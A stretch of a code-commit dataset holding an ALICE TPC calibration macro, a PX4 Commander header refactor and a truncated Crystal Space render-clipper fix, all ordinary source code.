Set run time ranges (time stamps)\n  AliCDBEntry* entry = AliCDBManager::Instance()->Get(\"GRP\/GRP\/Data\");\n  if(!entry) { \n    ::Error(\"AddCalibTimeGain\",\"Cannot get AliCDBEntry\");\n    return;\n  }\n  const AliGRPObject* grpData = dynamic_cast<AliGRPObject*>(entry->GetObject());\n  if(!grpData) { \n    ::Error(\"AddCalibTimeGain\",\"Cannot get AliGRPObject\");\n    return;\n  }\n  time_t sTime = grpData->GetTimeStart(); \n  time_t eTime = grpData->GetTimeEnd(); \n  TTimeStamp startRunTime(sTime);\n  TTimeStamp stopRunTime(eTime);\n\n  UInt_t year;\n  startRunTime.GetDate(kTRUE,0,&year);\n  TTimeStamp startTime(year,1,1,0,0,0);\n  TTimeStamp stopTime(year,12,31,23,59,59);\n\n  \/\/ \n  \/\/ setup calibration component\n  \/\/\n\n  Bool_t useQmax = (grpData->GetBeamType()).Contains(\"Pb-Pb\");\n\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task;\n  AliTPCcalibTimeGain *calibTimeGain = new AliTPCcalibTimeGain(name,\"calibTimeGain\", startTime.GetSec(), stopTime.GetSec(), 10*60);\n  calibTimeGain->SetIsCosmic(isCosmic);\n  calibTimeGain->SetUseCookAnalytical(kTRUE);\n  calibTimeGain->SetUseMax(useQmax);\n  calibTimeGain->SetDebugLevel(0);\n  calibTimeGain->SetStreamLevel(0);\n  calibTimeGain->SetTriggerMask(-1,-1,kTRUE);        \/\/reject laser\n  calibTimeGain->SetLowerTrunc(0.02);\n  calibTimeGain->SetUpperTrunc(0.6);\n\n  myTask->AddJob(calibTimeGain);\n\n  AliTPCcalibGainMult *calibGainMult = new AliTPCcalibGainMult(\"calibGainMult\",\"calibGainMult\");\n  calibGainMult->SetUseMax(useQmax);\n  calibGainMult->SetDebugLevel(0);\n  calibGainMult->SetStreamLevel(0);\n  calibGainMult->SetTriggerMask(-1,-1,kTRUE);        \/\/reject laser\n  calibGainMult->SetLowerTrunc(0.02);\n  calibGainMult->SetUpperTrunc(0.6);\n\n  myTask->AddJob(calibGainMult);\n\n}\n\n\/\/_____________________________________________________________________________\nvoid AddCalibTime(TObject* task){\n  \/\/\n  \/\/ Responsible: Dag Larsen\n  \/\/ Description: Time V drift calibration\n  \/\/\n\n  \/\/ Set run time ranges (time stamps)\n  AliCDBEntry* entry = AliCDBManager::Instance()->Get(\"GRP\/GRP\/Data\");\n  if(!entry) { \n    ::Error(\"AddCalibTime\",\"Cannot get AliCDBEntry\");\n    return;\n  }\n  const AliGRPObject* grpData = dynamic_cast<AliGRPObject*>(entry->GetObject());\n  if(!grpData) { \n    ::Error(\"AddCalibTime\",\"Cannot get AliGRPObject\");\n    return;\n  }\n  time_t sTime = grpData->GetTimeStart(); \n  time_t eTime = grpData->GetTimeEnd(); \n\n  TTimeStamp startRunTime(sTime);\n  TTimeStamp stopRunTime(eTime);\n\n  UInt_t year;\n  startRunTime.GetDate(kTRUE,0,&year);\n  TTimeStamp startTime(year,1,1,0,0,0);\n  TTimeStamp stopTime(year,12,31,23,59,59);\n\n  \/\/ \n  \/\/ setup calibration component\n  \/\/\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task;\n  AliTPCcalibTime *calibTime = new AliTPCcalibTime(\"calibTime\",\"calibTime\",  startTime.GetSec(), stopTime.GetSec(), 10*60, 2);\n  calibTime->SetDebugLevel(0);\n  calibTime->SetStreamLevel(0);\n  calibTime->SetTriggerMask(-1,-1,kFALSE);        \/\/accept everything \n\n  \/\/ max 15000 tracks per event\n  calibTime->SetCutTracks(15000);\n\n  myTask->AddJob(calibTime);\n}\n\n\nvoid AddCalibTracks(TObject* task){\n  \/\/\n  \/\/ Responsible: Marian Ivanov\n  \/\/ Description:\n  \/\/ Histogram residuals and pulls of the track parameters in bins of track parameters\n  \/\/\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task; \n  AliTPCClusterParam * clusterParam = AliTPCcalibDB::Instance()->GetClusterParam();\n\n   AliTPCcalibTracksCuts *cuts = new AliTPCcalibTracksCuts(30, 0.4, 5, 0.13, 0.018);\n  \/\/\n  AliTPCcalibTracks *calibTracks =  new AliTPCcalibTracks(\"calibTracks\", \"Resolution calibration object for tracks\", clusterParam, cuts);\n  calibTracks->SetDebugLevel(debugLevel);\n  calibTracks->SetStreamLevel(streamLevel);\n  calibTracks->SetTriggerMask(-1,-1,kTRUE);       \n  myTask->AddJob(calibTracks); \n}\n\n\nvoid AddCalibAlign(TObject* task){\n  \/\/\n  \/\/ Responsible: Marian Ivanov\n  \/\/ Description:\n  \/\/\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task; \n  AliTPCcalibAlign *calibAlign = new AliTPCcalibAlign(\"alignTPC\",\"Alignment of the TPC sectors\");\n  calibAlign->SetDebugLevel(debugLevel);\n  calibAlign->SetStreamLevel(streamLevel);\n  calibAlign->SetTriggerMask(-1,-1,kTRUE);        \/\/accept everything\n  myTask->AddJob(calibAlign);\n}\n\nvoid AddCalibAlignInterpolation(TObject* task){\n  \/\/\n  \/\/ Responsible: Marian Ivanov\n  \/\/ Description:\n  \/\/\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task; \n  AliTPCcalibAlignInterpolation *calibAlign = new AliTPCcalibAlignInterpolation(\"alignTPCInterpolation\",\"Space point distortion calibration using interpolation\",0);\n  calibAlign->SetDebugLevel(debugLevel);\n  calibAlign->SetStreamLevel(streamLevel);\n  calibAlign->SetTriggerMask(-1,-1,kTRUE);        \/\/accept everything\n  myTask->AddJob(calibAlign);\n}\n\n\nvoid AddCalibLaser(TObject* task){\n  \/\/\n  \/\/ Responsible: Marian Ivanov\n  \/\/ Description:\n  \/\/\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task;\n  AliTPCcalibLaser *calibLaser = new AliTPCcalibLaser(\"laserTPC\",\"laserTPC\");\n  calibLaser->SetDebugLevel(debugLevel);\n  calibLaser->SetStreamLevel(streamLevel);\n  calibLaser->SetTriggerMask(-1,-1,kFALSE);        \/\/accept everything\n  myTask->AddJob(calibLaser);\n}\n\n\nvoid AddCalibCosmic(TObject* task){\n  \/\/\n  \/\/ Responsible: Marian Ivanov\n  \/\/ Description:\n  \/\/ Histogram residuals and pulls of the track parameters in bins of track parameters\n  \/\/ Dump cosmic tracks to the tree\n  \/\/\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task;\n  AliTPCcalibCosmic *calibCosmic = new AliTPCcalibCosmic(\"cosmicTPC\",\"cosmicTPC\");\n  calibCosmic->SetDebugLevel(debugLevel);\n  calibCosmic->SetStreamLevel(1);\n  calibCosmic->SetTriggerMask(-1,-1,kTRUE);        \/\/accept everything\n  myTask->AddJob(calibCosmic);\n}\n\n\n\n\/\/_____________________________________________________________________________\nvoid SetupCalibTaskTrain1(TObject* task){\n  \/\/\n  \/\/ Setup tasks for calibration train\n  \/\/\n  AddCalibCalib(task);\n  AddCalibTimeGain(task);\n  AddCalibTime(task);\n  AddCalibAlignInterpolation(task);\n}\n\nvoid SetupCalibTaskTrainAlign(TObject* task){\n  \/\/\n  \/\/ Setup tasks for calibration train\n  \/\/\n  AddCalibAlign(task);\n  AddCalibLaser(task);\n  \/\/AddCalibCosmic(task);\n}\n\nvoid SetupCalibTaskTrainCluster(TObject* task){\n  \/\/\n  \/\/ Setup tasks for calibration train\n  \/\/\n  AddCalibTracks(task);\n}\n\n\/\/_____________________________________________________________________________\nvoid ConfigOCDB(Int_t run){\n  \/\/\n  \/\/ Configure TPC OCDB\n  \/\/\n  printf(\"SETUP OCBD for TPC\\n\");\n  printf(\"SETUP OCBD for TPC\\n\");\n  printf(\"SETUP OCBD for TPC Run =%d\\n\", run);\n  \/\/\n  \/\/\n  AliTPCParam *param= AliTPCcalibDB::Instance()->GetParameters();\n  param->ReadGeoMatrices();\n  \/\/\n  AliMagF* magF= TGeoGlobalMagField::Instance()->GetField();\n  printf(\"\\n\\nSET EXB FIELD\\t\\n\\n\");\n  AliTPCcalibDB::Instance()->SetExBField(magF);\n  \/\/\n  \/\/\n  \/\/\n  AliTPCTransform *transform     = AliTPCcalibDB::Instance()->GetTransform() ;\n  \/\/\n  \/\/AliTPCRecoParam * tpcRecoParam = AliTPCRecoParam::GetCosmicTestParam(kTRUE);\n  \/\/\n  AliCDBEntry* entry = AliCDBManager::Instance()->Get(\"TPC\/Calib\/RecoParam\");\n  if (!entry){\n    ::Error(\"AddTaskTPCCalib\",\"TPC reco param not available\");\n    return;\n  }\n  TObjArray * array = (TObjArray*)entry->GetObject();\n  if (!array){\n    ::Error(\"AddTaskTPCCalib\",\"TPC reco param not available\");\n    return;\n  }\n  \n  \/\/get the beam type from OCDB to decide which type of reco param we need -\n  \/\/high or low flux\n  entry = AliCDBManager::Instance()->Get(\"GRP\/GRP\/Data\");\n  AliGRPObject* grpData = dynamic_cast<AliGRPObject*>(entry->GetObject());  \/\/ new GRP entry\n  TString beamType = grpData->GetBeamType();\n  if (beamType==AliGRPObject::GetInvalidString()) {\n    ::Error(\"AddTaskTPCCalib\",\"GRP\/GRP\/Data entry:  missing value for the beam type ! Using UNKNOWN\");\n    beamType = \"UNKNOWN\";\n  }\n  \/\/ 0 - Low Flux (pp), 1- High Flux (Pb-Pb)\n  Int_t fluxType=0;\n  if (beamType.Contains(\"p-p\")) {fluxType=0;}\n  if (beamType.Contains(\"A-A\")) {fluxType=1;}\n  AliTPCRecoParam * tpcRecoParam = (AliTPCRecoParam*)array->At(fluxType);\n  ::Info(\"AddTaskTPCCalib\",\"Beam type: %s, using fluxType=%i\",beamType.Data(),fluxType);\n  tpcRecoParam->Print();\n\n  transform->SetCurrentRecoParam(tpcRecoParam);\n  tpcRecoParam->SetUseGainCorrectionTime(0);\n  tpcRecoParam->SetUseRPHICorrection(kFALSE); \n  tpcRecoParam->SetUseTOFCorrection(kFALSE);\n  \/\/\n  tpcRecoParam->SetUseDriftCorrectionTime(0);\n  tpcRecoParam->SetUseDriftCorrectionGY(0);\n  \/\/\n  tpcRecoParam->SetUseRadialCorrection(kFALSE);\n  tpcRecoParam->SetUseQuadrantAlignment(kFALSE);\n  \/\/\n  tpcRecoParam->SetUseSectorAlignment(kFALSE);\n  tpcRecoParam->SetUseFieldCorrection(kFALSE);\n  tpcRecoParam->SetUseExBCorrection(kFALSE);\n  \/\/\n  tpcRecoParam->SetUseMultiplicityCorrectionDedx(kFALSE);\n  tpcRecoParam->SetUseAlignmentTime(kFALSE);\n  tpcRecoParam->SetUseComposedCorrection(kFALSE);\n  \/\/\n  tpcRecoParam->SetCorrectionHVandPTMode(1);\n\n  AliTPCcalibDB::Instance()->SetRun(run); \n}\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n *\n *   Copyright (c) 2017 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n *    used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n#ifndef COMMANDER_HPP_\n#define COMMANDER_HPP_\n\n#include <controllib\/blocks.hpp>\n#include <px4_module.h>\n\n\/\/ publications\n#include <uORB\/Publication.hpp>\n#include <uORB\/topics\/actuator_armed.h>\n#include <uORB\/topics\/home_position.h>\n#include <uORB\/topics\/vehicle_command_ack.h>\n#include <uORB\/topics\/vehicle_control_mode.h>\n#include <uORB\/topics\/vehicle_status.h>\n#include <uORB\/topics\/vehicle_status_flags.h>\n\n\/\/ subscriptions\n#include <uORB\/Subscription.hpp>\n#include <uORB\/topics\/geofence_result.h>\n#include <uORB\/topics\/mission_result.h>\n#include <uORB\/topics\/safety.h>\n#include <uORB\/topics\/vehicle_command.h>\n#include <uORB\/topics\/vehicle_global_position.h>\n#include <uORB\/topics\/vehicle_local_position.h>\n\nusing control::BlockParamFloat;\nusing control::BlockParamInt;\nusing uORB::Publication;\nusing uORB::Subscription;\n\nclass Commander : public control::SuperBlock, public ModuleBase<Commander>\n{\npublic:\n\tCommander() :\n\t\tSuperBlock(nullptr, \"COM\"),\n\t\t_mission_result_sub(ORB_ID(mission_result), 0, 0, &getSubscriptions())\n\t{\n\t\tupdateParams();\n\t}\n\n\t\/** @see ModuleBase *\/\n\tstatic int task_spawn(int argc, char *argv[]);\n\n\t\/** @see ModuleBase *\/\n\tstatic Commander *instantiate(int argc, char *argv[]);\n\n\t\/** @see ModuleBase *\/\n\tstatic int custom_command(int argc, char *argv[]);\n\n\t\/** @see ModuleBase *\/\n\tstatic int print_usage(const char *reason = nullptr);\n\n\t\/** @see ModuleBase::run() *\/\n\tvoid run() override;\n\n\tvoid enable_hil();\n\nprivate:\n\n\t\/\/ Subscriptions\n\tSubscription<mission_result_s> _mission_result_sub;\n\n\tbool handle_command(vehicle_status_s *status, const safety_s *safety, vehicle_command_s *cmd,\n\t\t\t    actuator_armed_s *armed, home_position_s *home, vehicle_global_position_s *global_pos,\n\t\t\t    vehicle_local_position_s *local_pos, orb_advert_t *home_pub,\n\t\t\t    orb_advert_t *command_ack_pub, bool *changed);\n\n\tbool set_home_position(orb_advert_t &homePub, home_position_s &home,\n\t\t\t\tconst vehicle_local_position_s &localPosition, const vehicle_global_position_s &globalPosition,\n\t\t\t\tbool set_alt_only_to_lpos_ref);\n\n\tvoid mission_init();\n\n};\n\n#endif \/* COMMANDER_HPP_ *\/\n<commit_msg>Commander.hpp: remove usage of BlockParam & SuperBlock<commit_after>\/****************************************************************************\n *\n *   Copyright (c) 2017 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n *    used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n#ifndef COMMANDER_HPP_\n#define COMMANDER_HPP_\n\n#include <controllib\/blocks.hpp>\n#include <px4_module.h>\n#include <px4_module_params.h>\n\n\/\/ publications\n#include <uORB\/Publication.hpp>\n#include <uORB\/topics\/actuator_armed.h>\n#include <uORB\/topics\/home_position.h>\n#include <uORB\/topics\/vehicle_command_ack.h>\n#include <uORB\/topics\/vehicle_control_mode.h>\n#include <uORB\/topics\/vehicle_status.h>\n#include <uORB\/topics\/vehicle_status_flags.h>\n\n\/\/ subscriptions\n#include <uORB\/Subscription.hpp>\n#include <uORB\/topics\/geofence_result.h>\n#include <uORB\/topics\/mission_result.h>\n#include <uORB\/topics\/safety.h>\n#include <uORB\/topics\/vehicle_command.h>\n#include <uORB\/topics\/vehicle_global_position.h>\n#include <uORB\/topics\/vehicle_local_position.h>\n\nusing uORB::Publication;\nusing uORB::Subscription;\n\nclass Commander : public ModuleBase<Commander>, public ModuleParams\n{\npublic:\n\tCommander() :\n\t\tModuleParams(nullptr),\n\t\t_mission_result_sub(ORB_ID(mission_result))\n\t{\n\t}\n\n\t\/** @see ModuleBase *\/\n\tstatic int task_spawn(int argc, char *argv[]);\n\n\t\/** @see ModuleBase *\/\n\tstatic Commander *instantiate(int argc, char *argv[]);\n\n\t\/** @see ModuleBase *\/\n\tstatic int custom_command(int argc, char *argv[]);\n\n\t\/** @see ModuleBase *\/\n\tstatic int print_usage(const char *reason = nullptr);\n\n\t\/** @see ModuleBase::run() *\/\n\tvoid run() override;\n\n\tvoid enable_hil();\n\nprivate:\n\n\t\/\/ Subscriptions\n\tSubscription<mission_result_s> _mission_result_sub;\n\n\tbool handle_command(vehicle_status_s *status, const safety_s *safety, vehicle_command_s *cmd,\n\t\t\t    actuator_armed_s *armed, home_position_s *home, vehicle_global_position_s *global_pos,\n\t\t\t    vehicle_local_position_s *local_pos, orb_advert_t *home_pub,\n\t\t\t    orb_advert_t *command_ack_pub, bool *changed);\n\n\tbool set_home_position(orb_advert_t &homePub, home_position_s &home,\n\t\t\t\tconst vehicle_local_position_s &localPosition, const vehicle_global_position_s &globalPosition,\n\t\t\t\tbool set_alt_only_to_lpos_ref);\n\n\tvoid mission_init();\n\n};\n\n#endif \/* COMMANDER_HPP_ *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*\n  Copyright (C) 2007 by Jorrit Tyberghein\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Library General Public\n  License as published by the Free Software Foundation; either\n  version 2 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Library General Public License for more details.\n\n  You should have received a copy of the GNU Library General Public\n  License along with this library; if not, write to the Free\n  Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n*\/\n\n#include \"cssysdef.h\"\n#include \"csgeom\/sphere.h\"\n#include \"cstool\/rviewclipper.h\"\n#include \"ivideo\/graph3d.h\"\n#include \"iengine\/rview.h\"\n#include \"iengine\/camera.h\"\n#include <ctype.h>\n\nnamespace CS\n{\n  void RenderViewClipper::TestSphereFrustumWorld (\n    csRenderContext *ctxt,\n    const csVector3 &center,\n    float radius,\n    bool &inside,\n    bool &outside)\n  {\n    float dist;\n    csPlane3 *frust = ctxt->clip_planes;\n    outside = true;\n    inside = true;\n\n    dist = frust[0].Classify (center);\n    if (dist < radius) inside = false;\n    if ((-dist) <= radius)\n    {\n      dist = frust[1].Classify (center);\n      if (dist < radius) inside = false;\n      if ((-dist) <= radius)\n      {\n        dist = frust[2].Classify (center);\n        if (dist < radius) inside = false;\n        if ((-dist) <= radius)\n        {\n          dist = frust[3].Classify (center);\n          if (dist < radius) inside = false;\n          if ((-dist) <= radius) outside = false;\n        }\n      }\n    }\n  }\n\n  void RenderViewClipper::CalculateClipSettings (\n      csRenderContext* ctxt,\n      uint32 frustum_mask,\n      int &clip_portal, int &clip_plane, int &clip_z_plane)\n  {\n    if (frustum_mask & 0xf)\n      clip_portal = CS_CLIP_NEEDED;\n    else\n      clip_portal = CS_CLIP_NOT;\n\n    if (frustum_mask & 0x10)\n      clip_z_plane = CS_CLIP_NEEDED;\n    else\n      clip_z_plane = CS_CLIP_NOT;\n\n    \/\/ Only if we really need an exact clip plane will we set clip_plane\n    \/\/ to needed (depending on frustum mask).\n    if ((frustum_mask & 0x20) && ctxt->do_clip_plane)\n      clip_plane = CS_CLIP_NEEDED;\n    else\n      clip_plane = CS_CLIP_NOT;\n  }\n\n  bool RenderViewClipper::TestBSphere (\n    csRenderContext* ctxt,\n    const csReversibleTransform &w2c,\n    const csSphere &sphere)\n  {\n    \/\/------\n    \/\/ First transform bounding sphere from object space to camera space\n    \/\/ by using the given transform (if needed).\n    \/\/------\n    csSphere tr_sphere = w2c.Other2This (sphere);\n    const csVector3 &tr_center = tr_sphere.GetCenter ();\n    float radius = tr_sphere.GetRadius ();\n\n    \/\/------\n    \/\/ Test if object is behind the camera plane.\n    \/\/------\n    if (tr_center.z + radius <= 0) return false;\n\n    \/\/------\n    \/\/ Test against far plane if needed.\n    \/\/------\n    csPlane3 *far_plane = ctxt->icamera->GetFarPlane ();\n    if (far_plane)\n    {\n      \/\/ Ok, so this is not really far plane clipping - we just dont draw this\n      \/\/ object if the bounding sphere is further away than the D\n      \/\/ part of the farplane.\n      if (tr_center.z - radius > far_plane->D ()) return false;\n    }\n\n    \/\/------\n    \/\/ Check if we're fully inside the bounding sphere.\n    \/\/------\n    bool fully_inside = csSquaredDist::PointPoint (\n        csVector3 (0),\n        tr_center) <= radius *\n      radius;\n\n    \/\/------\n    \/\/ Test if there is a chance we must clip to current portal.\n    \/\/------\n    bool outside, inside;\n    if (!fully_inside)\n    {\n      TestSphereFrustumWorld (\n        ctxt,\n        sphere.GetCenter (),\n        radius,\n        inside,\n        outside);\n      if (outside) return false;\n    }\n\n    \/\/------\n    \/\/ Test if there is a chance we must clip to current plane.\n    \/\/------\n    if (ctxt->do_clip_plane)\n    {\n      \/\/bool mirror = GetCamera ()->IsMirrored ();\n      float dist = ctxt->clip_plane.Classify (tr_center);\n      dist = -dist;\n      if ((-dist) > radius) return false;\n    }\n\n    return true;\n  }\n\n  bool RenderViewClipper::CullBSphere (\n    csRenderContext* ctxt,\n    const csSphere &cam_sphere,\n    const csSphere &world_sphere,\n    int &clip_portal,\n    int &clip_plane,\n    int &clip_z_plane)\n  {\n    float radius = cam_sphere.GetRadius ();\n    float cam_z = cam_sphere.GetCenter ().z;\n\n    \/\/------\n    \/\/ Test if object is behind the camera plane.\n    \/\/------\n    if (cam_z + radius <= 0) return false;\n\n    \/\/------\n    \/\/ Test against far plane if needed.\n    \/\/------\n    csPlane3 *far_plane = ctxt->icamera->GetFarPlane ();\n    if (far_plane)\n    {\n      \/\/ Ok, so this is not really far plane clipping - we just dont draw this\n      \/\/ object if the bounding sphere is further away than the D\n      \/\/ part of the farplane.\n      if (cam_z - radius > far_plane->D ()) return false;\n    }\n\n    \/\/------\n    \/\/ Check if we're fully inside the bounding sphere.\n    \/\/------\n    bool fully_inside = csSquaredDist::PointPoint (\n          csVector3 (0), cam_sphere.GetCenter ()) <= radius * radius;\n\n    \/\/------\n    \/\/ Test if there is a chance we must clip to current portal.\n    \/\/------\n    bool outside, inside;\n    if (fully_inside)\n    {\n      clip_portal = CS_CLIP_NEEDED;\n    }\n    else\n    {\n      TestSphereFrustumWorld (\n        ctxt,\n        world_sphere.GetCenter (),\n        radius,\n        inside,\n        outside);\n      if (outside)\n        return false;\n      if (!inside)\n        clip_portal = CS_CLIP_NEEDED;\n      else\n        clip_portal = CS_CLIP_NOT;\n    }\n\n    \/\/------\n    \/\/ Test if there is a chance we must clip to the z-plane.\n    \/\/------\n    if (cam_z - radius > 0)\n      clip_z_plane = CS_CLIP_NOT;\n    else\n      clip_z_plane = CS_CLIP_NEEDED;\n\n    \/\/------\n    \/\/ Test if there is a chance we must clip to current plane.\n    \/\/------\n    clip_plane = CS_CLIP_NOT;\n    if (ctxt->do_clip_plane)\n    {\n      float dist = ctxt->clip_plane.Classify (cam_sphere.GetCenter ());\n      dist = -dist;\n      if ((-dist) > radius)\n        return false;\n      else if (dist <= radius)\n        clip_plane = CS_CLIP_NEEDED;\n    }\n\n    return true;\n  }\n\n  bool RenderViewClipper::CullBBox (\n    const csRenderContext* ctxt,\n    const csPlane3* planes,\n    uint32& frustum_mask,\n    const csBox3 &obox,\n    int &clip_portal,\n    int &clip_plane,\n    int &clip_z_plane)\n  {\n    uint32 outClipMask;\n    if (!csIntersect3::BoxFrustum (obox, planes, frustum_mask, outClipMask))\n      return false;\t\/\/ Not visible.\n    frustum_mask = outClipMask;\n\n    if (outClipMask & 0xf)\n      clip_portal = CS_CLIP_NEEDED;\n    else\n      clip_portal = CS_CLIP_NOT;\n\n    if (outClipMask & 0x10)\n      clip_z_plane = CS_CLIP_NEEDED;\n    else\n      clip_z_plane = CS_CLIP_NOT;\n\n    \/\/ Only if we really need an exact clip plane will we set clip_plane\n    \/\/ to needed (depending on frustum mask).\n    if (ctxt->do_clip_plane && (outClipMask & 0x20))\n      clip_plane = CS_CLIP_NEEDED;\n    else\n      clip_plane = CS_CLIP_NOT;\n\n    return true;\n  }\n\n  void RenderViewClipper::SetupClipPlanes (\n      csRenderContext* ctxt,\n      const csReversibleTransform& tr_o2c,\n      csPlane3* planes, uint32& frustum_mask)\n  {\n    csMatrix3 t2o = tr_o2c.GetT2O();\n    csVector3 o2tmult = tr_o2c.GetO2T () * tr_o2c.GetO2TTranslation ();\n    uint32 camMask;\n    const csPlane3* frust = ctxt->icamera->GetVisibleVolume (camMask);\n    frustum_mask = 0;\n    uint i;\n    for (i = 0; (1 << i) <= camMask; i++)\n    {\n      if (!(camMask & (1 << i))) continue;\n      frustum_mask |= (1 << i);\n      planes[i].Set (tr_o2c.GetT2O() * frust[i].norm, -frust[i].norm*o2tmult);\n    }\n    csPlane3 pznear = ctxt->clip_plane;\n    pznear.Invert ();\n    planes[i] = tr_o2c.This2Other (pznear);\n    frustum_mask |= (1 << i);\n  }\n\n  void RenderViewClipper::SetupClipPlanes (csRenderContext* ctxt)\n  {\n    SetupClipPlanes (ctxt, ctxt->icamera->GetTransform (), ctxt->clip_planes,\n      ctxt->clip_planes_mask);\n  }\n\n}\n\n<commit_msg>Correct plane transformation in RenderViewClipper::SetupClipPlanes()<commit_after>\/*\n  Copyright (C) 2007 by Jorrit Tyberghein\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Library General Public\n  License as published by the Free Software Foundation; either\n  version 2 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Library General Public License for more details.\n\n  You should have received a copy of the GNU Library General Public\n  License along with this library; if not, write to the Free\n  Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n*\/\n\n#include \"cssysdef.h\"\n#include \"csgeom\/sphere.h\"\n#include \"cstool\/rviewclipper.h\"\n#include \"ivideo\/graph3d.h\"\n#include \"iengine\/rview.h\"\n#include \"iengine\/camera.h\"\n#include <ctype.h>\n\nnamespace CS\n{\n  void RenderViewClipper::TestSphereFrustumWorld (\n    csRenderContext *ctxt,\n    const csVector3 &center,\n    float radius,\n    bool &inside,\n    bool &outside)\n  {\n    float dist;\n    csPlane3 *frust = ctxt->clip_planes;\n    outside = true;\n    inside = true;\n\n    dist = frust[0].Classify (center);\n    if (dist < radius) inside = false;\n    if ((-dist) <= radius)\n    {\n      dist = frust[1].Classify (center);\n      if (dist < radius) inside = false;\n      if ((-dist) <= radius)\n      {\n        dist = frust[2].Classify (center);\n        if (dist < radius) inside = false;\n        if ((-dist) <= radius)\n        {\n          dist = frust[3].Classify (center);\n          if (dist < radius) inside = false;\n          if ((-dist) <= radius) outside = false;\n        }\n      }\n    }\n  }\n\n  void RenderViewClipper::CalculateClipSettings (\n      csRenderContext* ctxt,\n      uint32 frustum_mask,\n      int &clip_portal, int &clip_plane, int &clip_z_plane)\n  {\n    if (frustum_mask & 0xf)\n      clip_portal = CS_CLIP_NEEDED;\n    else\n      clip_portal = CS_CLIP_NOT;\n\n    if (frustum_mask & 0x10)\n      clip_z_plane = CS_CLIP_NEEDED;\n    else\n      clip_z_plane = CS_CLIP_NOT;\n\n    \/\/ Only if we really need an exact clip plane will we set clip_plane\n    \/\/ to needed (depending on frustum mask).\n    if ((frustum_mask & 0x20) && ctxt->do_clip_plane)\n      clip_plane = CS_CLIP_NEEDED;\n    else\n      clip_plane = CS_CLIP_NOT;\n  }\n\n  bool RenderViewClipper::TestBSphere (\n    csRenderContext* ctxt,\n    const csReversibleTransform &w2c,\n    const csSphere &sphere)\n  {\n    \/\/------\n    \/\/ First transform bounding sphere from object space to camera space\n    \/\/ by using the given transform (if needed).\n    \/\/------\n    csSphere tr_sphere = w2c.Other2This 